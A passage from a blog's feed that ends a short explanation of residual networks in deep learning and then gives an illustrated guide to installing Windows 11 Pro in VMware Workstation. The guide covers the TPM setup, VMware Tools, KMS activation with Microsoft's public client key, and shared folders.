&lt;p&gt;Convolution changes the features and can change the number of channels. Pooling reduces spatial dimensions. The final flattening step collects all the values from &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;n&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; feature maps of width &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;w&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;w&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0269em;&#34;&gt;w&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; and height &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;h&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;h&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6944em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;h&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; into a vector of length &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;w&lt;/mi&gt;&lt;mo&gt;×&lt;/mo&gt;&lt;mi&gt;h&lt;/mi&gt;&lt;mo&gt;×&lt;/mo&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;w\times h\times n&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6667em;vertical-align:-0.0833em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0269em;&#34;&gt;w&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;×&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.7778em;vertical-align:-0.0833em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;h&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;×&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696387/Typora/2025/03/5463baf1c6a18764dff982d64d72cf69.png&#34; alt=&#34;Changes in feature map shape through the network&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;残差网络&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;residual-networks&#34; data-section=&#34;残差网络&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#residual-networks&#34;&gt;#&lt;/a&gt; Residual networks&lt;/h1&gt;
&lt;p&gt;Does adding layers always improve a network? No. The middle layers extract features. Doing that fifty times needn’t give a better result than doing it twenty times. In the example below, the deeper network actually has higher training error.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696387/Typora/2025/03/5e6d212fa80493069a41ab6eed57da2e.png&#34; alt=&#34;The degradation problem as network depth increases&#34; /&gt;&lt;/p&gt;
&lt;p&gt;ResNet, proposed in 2015, addresses this with a residual connection. For matching input and output shapes, a residual block adds its input to the learned residual: &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;y&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;y=x+F(x)&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.625em;vertical-align:-0.1944em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0359em;&#34;&gt;y&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6667em;vertical-align:-0.0833em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.1389em;&#34;&gt;F&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. When &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;F(x)&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.1389em;&#34;&gt;F&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; is close to zero, the block passes the input through nearly unchanged without having to learn the identity mapping from scratch.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696391/Typora/2025/03/9da84b8d0188b72f91fe3e59d89bc367.png&#34; alt=&#34;A residual block and its shortcut connection&#34; /&gt;&lt;/p&gt;
</content>
        <updated>2025-03-16T00:09:05.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/system/virtual-machine/installing-windows-11-in-vmware-workstation/</id>
        <title>Installing Windows 11 in VMware Workstation</title>
        <link rel="alternate" href="https://www.sycamore.top/en/system/virtual-machine/installing-windows-11-in-vmware-workstation/"/>
        <content type="html">&lt;p&gt;I accidentally deleted all my virtual machines and didn’t have a backup. Here’s how I reinstalled Windows 11.&lt;/p&gt;
&lt;p&gt;&lt;span id=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div class=&#34;note info&#34;&gt;
&lt;p&gt;I used VMware Workstation 16.x and the March 2022 Windows 11 image, and installed the Pro edition. The steps and screenshots reflect that setup; newer releases may look different.&lt;/p&gt;
&lt;/div&gt;
&lt;span id=&#34;win-11-镜像下载&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;downloading-the-windows-11-image&#34; data-section=&#34;win-11-镜像下载&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#downloading-the-windows-11-image&#34;&gt;#&lt;/a&gt; Downloading the Windows 11 image&lt;/h2&gt;
&lt;p&gt;I found the image on &lt;a href=&#34;https://next.itellyou.cn/&#34;&gt;NEXT, ITELLYOU&lt;/a&gt;, run by the same team as &lt;a href=&#34;https://msdn.itellyou.cn/&#34;&gt;MSDN, I Tell You&lt;/a&gt;. Open “原版软件” (original software) in the top navigation:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696186/Typora/2025/11/791dff305a14ba82d730664438c3b2eb.png&#34; alt=&#34;Original software section on NEXT, ITELLYOU&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Select Windows 11 from the operating system list:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696186/Typora/2025/11/2d57c74687e7f7757dedc6cfedff53cc.png&#34; alt=&#34;Selecting Windows 11&#34; /&gt;&lt;/p&gt;
&lt;p&gt;I downloaded the  &lt;code&gt;business editions&lt;/code&gt;  image and selected Pro during installation.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696187/Typora/2025/11/ff2d6147b7583139faac82d6b193eeec.png&#34; alt=&#34;Business editions and consumer editions images&#34; /&gt;&lt;/p&gt;
&lt;p&gt;These are multi-edition images. Both include Pro; the business image includes Enterprise and the consumer image includes Home. Check the edition list in the image you downloaded.&lt;/p&gt;
&lt;p&gt;This is the filename and ED2K link from my installation. For a new VM, the current image is also available from &lt;a href=&#34;https://www.microsoft.com/zh-cn/software-download/windows11&#34;&gt;Microsoft’s download page&lt;/a&gt;.&lt;/p&gt;
&lt;figure class=&#34;highlight text&#34;&gt;&lt;figcaption data-lang=&#34;text&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;ed2k://|file|zh-cn_windows_11_business_editions_updated_march_2022_x64_dvd_7df6eae1.iso|5582235648|B7C9D076AE16A10C9D2610207577F28D|/&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;span id=&#34;安装-win-11-虚拟机&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;installing-windows-11-in-a-vm&#34; data-section=&#34;安装-win-11-虚拟机&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#installing-windows-11-in-a-vm&#34;&gt;#&lt;/a&gt; Installing Windows 11 in a VM&lt;/h2&gt;
&lt;span id=&#34;新建虚拟机&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;create-the-virtual-machine&#34; data-section=&#34;新建虚拟机&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#create-the-virtual-machine&#34;&gt;#&lt;/a&gt; Create the virtual machine&lt;/h3&gt;
&lt;p&gt;Check the memory, disk and TPM configuration together before starting the installer.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open &lt;strong&gt;File → New Virtual Machine&lt;/strong&gt; and select the downloaded ISO as the installation source.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696187/Typora/2025/11/d3a8942d2ad0b317c0cc62648ee8bf92.png&#34; alt=&#34;Selecting the Windows 11 ISO&#34; /&gt;&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;My Workstation release had no Windows 11 entry, so I selected &lt;strong&gt;Microsoft Windows → Windows 10 x64&lt;/strong&gt;. If your release offers &lt;strong&gt;Windows 11 x64&lt;/strong&gt;, select that directly.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696190/Typora/2025/11/338edd4301cc6cad326035c9a4221cc5.png&#34; alt=&#34;Windows 10 x64 in the older guest selection menu&#34; /&gt;&lt;/p&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;I allocated 100 GB for the virtual disk. Windows 11 requires at least 64 GB; the screenshot’s 60 GB recommendation was for Windows 10.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696190/Typora/2025/11/2982c11f8bc33629ed97c7027051ecaa.png&#34; alt=&#34;Allocating 100 GB of disk space&#34; /&gt;&lt;/p&gt;
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;Before finishing the wizard, open &lt;strong&gt;Customize Hardware&lt;/strong&gt; to adjust memory and processors. I used 4 GB RAM, four CPU cores and the 100 GB disk.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696191/Typora/2025/11/f5cdc00ac398b079aef715e9cef1d33d.png&#34; alt=&#34;Final memory, processor and disk configuration&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.microsoft.com/zh-cn/windows/windows-11-specifications&#34;&gt;Microsoft’s specifications&lt;/a&gt; include a compatible 64-bit dual-core processor, 4 GB of memory, 64 GB of storage, Secure Boot-capable UEFI and TPM 2.0.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Leave the VM powered off for the next step.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;span id=&#34;添加-tpm&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;add-the-tpm&#34; data-section=&#34;添加-tpm&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#add-the-tpm&#34;&gt;#&lt;/a&gt; Add the TPM&lt;/h3&gt;
&lt;p&gt;Without a TPM, Setup can report that the PC can’t run Windows 11 even with enough memory and storage:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696191/Typora/2025/11/41f08312d8479a1167c27196098b1ca3.png&#34; alt=&#34;Windows Setup reporting an unsupported PC&#34; /&gt;&lt;/p&gt;
&lt;p&gt;My version of Workstation required an encrypted VM before I could add a trusted platform module.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;With the VM off, open &lt;strong&gt;Options → Access Control → Encrypt&lt;/strong&gt;. Set a password and keep a copy.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696194/Typora/2025/11/863b1258fb1e625aad5724a82baee5c5.png&#34; alt=&#34;Encrypting the VM in Access Control&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The password unlocks the VM. Whether you’re prompted on subsequent launches depends on whether it was saved.&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;Under &lt;strong&gt;Hardware → Add&lt;/strong&gt;, select &lt;strong&gt;Trusted Platform Module&lt;/strong&gt; and finish the wizard.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696194/Typora/2025/11/896f6935d4351cef18cdd1d971bd7487.png&#34; alt=&#34;Adding the trusted platform module&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Check that &lt;strong&gt;Options → Advanced&lt;/strong&gt; uses UEFI and has Secure Boot enabled. Save and start the installer. If it still rejects the configuration, recheck the processor and memory settings. See also &lt;a href=&#34;https://knowledge.broadcom.com/external/article/315650/installing-windows-11-as-a-guest-os-on-v.html&#34;&gt;VMware’s Windows 11 guest installation notes&lt;/a&gt;.&lt;/p&gt;
&lt;span id=&#34;启动并安装系统&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;boot-and-install&#34; data-section=&#34;启动并安装系统&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#boot-and-install&#34;&gt;#&lt;/a&gt; Boot and install&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Click inside the VM so it receives keyboard input. When you see  &lt;code&gt;Press any key to boot from CD or DVD...&lt;/code&gt; , press a key promptly.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696195/Typora/2025/11/ffcf4d54df07765c493a15ef76f6b25b.png&#34; alt=&#34;The optical disc boot prompt&#34; /&gt;&lt;/p&gt;
&lt;p&gt;If you miss it, the VM tries other boot devices. This EFI network timeout means the VM moved on to network boot; the installer hasn’t frozen. Restart and catch the disc prompt.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696195/Typora/2025/11/e0b203eb588dda997504fb10073d24db.png&#34; alt=&#34;EFI network boot timing out&#34; /&gt;&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;Choose the installer language and other options, then select an edition. I installed Windows 11 Pro.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696197/Typora/2025/11/0e49cc6f9b7014e5ed99939012d6ccf9.png&#34; alt=&#34;Selecting Windows 11 Pro&#34; /&gt;&lt;/p&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;Select &lt;strong&gt;Custom: Install Windows only (advanced)&lt;/strong&gt; for a clean installation on this blank VM.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696198/Typora/2025/11/c63c3401280590e3a29245e4d714e38a.png&#34; alt=&#34;Choosing a custom installation&#34; /&gt;&lt;/p&gt;
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;Select the unallocated space, click &lt;strong&gt;New&lt;/strong&gt;, choose a partition size and apply it. I used the entire 100 GB for the system without a separate D: drive. Setup creates the small system partitions it needs.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696199/Typora/2025/11/b8e71588df1d8b52f1a3daf9d281e353.png&#34; alt=&#34;Creating partitions from unallocated space&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Select the primary Windows partition, continue and wait for Setup to copy the files and restart.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696199/Typora/2025/11/7b98b25772ebdc03a9bedc22257cb105.png&#34; alt=&#34;Windows preparing after the restart&#34; /&gt;&lt;/p&gt;
&lt;ol start=&#34;5&#34;&gt;
&lt;li&gt;Complete the region, keyboard and account setup.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696201/Typora/2025/11/3db95d71ff0acde6daa635e63380e18b.png&#34; alt=&#34;Choosing the country or region&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Wait for Windows to prepare the desktop.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696202/Typora/2025/11/faa285dbc5a0c474b52248c6449a25e3.png&#34; alt=&#34;The final stage before reaching the desktop&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;安装-vmware-tools&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;installing-vmware-tools&#34; data-section=&#34;安装-vmware-tools&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#installing-vmware-tools&#34;&gt;#&lt;/a&gt; Installing VMware Tools&lt;/h2&gt;
&lt;p&gt;I wanted to copy commands and share files between host and guest, so I installed VMware Tools next.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Select &lt;strong&gt;VM → Install VMware Tools&lt;/strong&gt; to mount the installation disc.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696203/Typora/2025/11/f656802af2a999811f4fe02887b4a46d.png&#34; alt=&#34;Mounting the Tools disc from the VM menu&#34; /&gt;&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;If the wizard doesn’t open automatically, open the virtual disc in File Explorer and run  &lt;code&gt;setup64&lt;/code&gt; . Mine was drive D:; yours may differ.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696205/Typora/2025/11/b3954036aa9224ddccd91c871f7f8893.png&#34; alt=&#34;Running setup64 from the virtual optical drive&#34; /&gt;&lt;/p&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;Follow the wizard and select &lt;strong&gt;Typical&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696206/Typora/2025/11/9ae5db46573b558302c65d16791c0254.png&#34; alt=&#34;The VMware Tools setup wizard&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Click &lt;strong&gt;Finish&lt;/strong&gt; and restart the guest when prompted.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696206/Typora/2025/11/2d1c0f84cbcffce42beae398d2f623e9.png&#34; alt=&#34;Completing the Tools installation&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;win-11-专业版激活&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;activating-windows-11-pro&#34; data-section=&#34;win-11-专业版激活&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#activating-windows-11-pro&#34;&gt;#&lt;/a&gt; Activating Windows 11 Pro&lt;/h2&gt;
&lt;p&gt;Check &lt;strong&gt;Settings → System → Activation&lt;/strong&gt;. Mine showed Windows as unactivated:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696207/Typora/2025/11/b46ec91f451c4de9a831ed9b69d5cc9a.png&#34; alt=&#34;Windows 11 Pro showing as unactivated&#34; /&gt;&lt;/p&gt;
&lt;p&gt;That doesn’t mean Windows will stop booting after a fixed period. I wanted to clear the warning. Activation requires a licence for the installed edition; for personal use, enter your product key here or use an existing digital licence.&lt;/p&gt;
&lt;p&gt;The following records the KMS procedure for an environment with the appropriate volume licence and KMS service. This is the key I used then. I haven’t verified that it still works. See &lt;a href=&#34;https://learn.microsoft.com/en-us/windows-server/get-started/kms-client-activation-keys&#34;&gt;Microsoft’s KMS client key guidance&lt;/a&gt; for the requirements.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Search for CMD and open Command Prompt as administrator.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696209/Typora/2025/11/e3b151d1971b81e2e763891ea9ecefb4.png&#34; alt=&#34;Opening an administrator command prompt&#34; /&gt;&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;Install the Windows 11 Pro KMS client key:&lt;/li&gt;
&lt;/ol&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;slmgr /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696212/Typora/2025/11/ced00a4b004c06e9f2356edb2e01e04c.png&#34; alt=&#34;Confirmation after installing the client key&#34; /&gt;&lt;/p&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;If you need to specify the KMS server manually, use  &lt;code&gt;slmgr /skms &amp;lt;server-address&amp;gt;&lt;/code&gt;  with the address provided by your organisation. The address in the screenshot belongs to the original setup.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696212/Typora/2025/11/9358882fffe07ef3c3e3db876afad89e.png&#34; alt=&#34;Confirmation that the KMS address was saved&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Saving the address doesn’t establish that the service is reachable or that activation has succeeded.&lt;/p&gt;
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;Run  &lt;code&gt;slmgr /ato&lt;/code&gt;  to request activation.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696211/Typora/2025/11/36bc8abb1ec174ec21129bf9f854bd61.png&#34; alt=&#34;The activation command response&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Return to Settings to check the result:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696213/Typora/2025/11/c27217ec83ab6a9f50cd4ca7f0d53139.png&#34; alt=&#34;The final activation status&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;添加共享文件夹&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;adding-a-shared-folder&#34; data-section=&#34;添加共享文件夹&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#adding-a-shared-folder&#34;&gt;#&lt;/a&gt; Adding a shared folder&lt;/h2&gt;
&lt;p&gt;With VMware Tools installed, the guest can access a shared host directory, as in &lt;a href=&#34;/en/system/virtual-machine/setting-up-a-windows-7-virtual-machine/&#34;&gt;my Windows 7 VM notes&lt;/a&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;In VM settings, choose &lt;strong&gt;Options → Shared Folders → Always enabled&lt;/strong&gt; and add the host directory.&lt;/li&gt;
